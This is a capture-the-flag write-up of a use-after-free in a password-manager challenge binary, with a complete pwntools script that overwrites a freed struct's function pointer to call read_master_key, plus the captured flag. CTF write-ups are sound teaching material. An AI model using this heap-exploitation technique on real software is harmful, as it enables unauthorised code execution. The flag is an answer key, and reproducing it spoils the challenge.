Challenge Description:
High level password manager. No way you can get my master key
i reversed manager.c and the vault binary and found a use after free in delete_login
delete_login called free(logins[i]) but never cleared logins[i]
then check_master_key still used the same pointer and called logins[i]->can_check()
that left a dangling function pointer call
from manager.c the login object was
C
typedef struct {
void (*can_check)(void);
char username[12];
char password[12];
} Login;
that struct was 32 bytes
so i made a login in slot 0 freed it and then used set_password with size 32 to get the same chunk back from tcache
the first 8 bytes of that chunk were can_check so i could overwrite the function pointer
from the binary i got
text
read_master_key = 0x4012d6
access_denied = 0x401364
so i overwrote can_check with read_master_key
then i triggered check master key on slot 0 and the call changed from logins[0]->can_check() to read_master_key()
and i got the flag
Exploit
Python
from pwn import *
HOST = "instancer.dalctf2026.com"
PORT = 23199
io = remote(HOST, PORT)
READ_MASTER_KEY = 0x4012d6
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'slot [0-7]: ', b'0')
io.sendlineafter(b'username: ', b'a')
io.sendlineafter(b'password: ', b'b')
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'slot [0-7]: ', b'0')
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'password buffer size: ', b'32')
payload = p64(READ_MASTER_KEY) + b'A' * 24
io.send(payload)
io.sendlineafter(b'> ', b'4')
io.sendlineafter(b'slot [0-7]: ', b'0')
io.interactive()
lol the only screen shot i have of the terminal in the whole ctf
Flag
dalctf{fr33d_fr0m_d4s1r3_n4n4n4}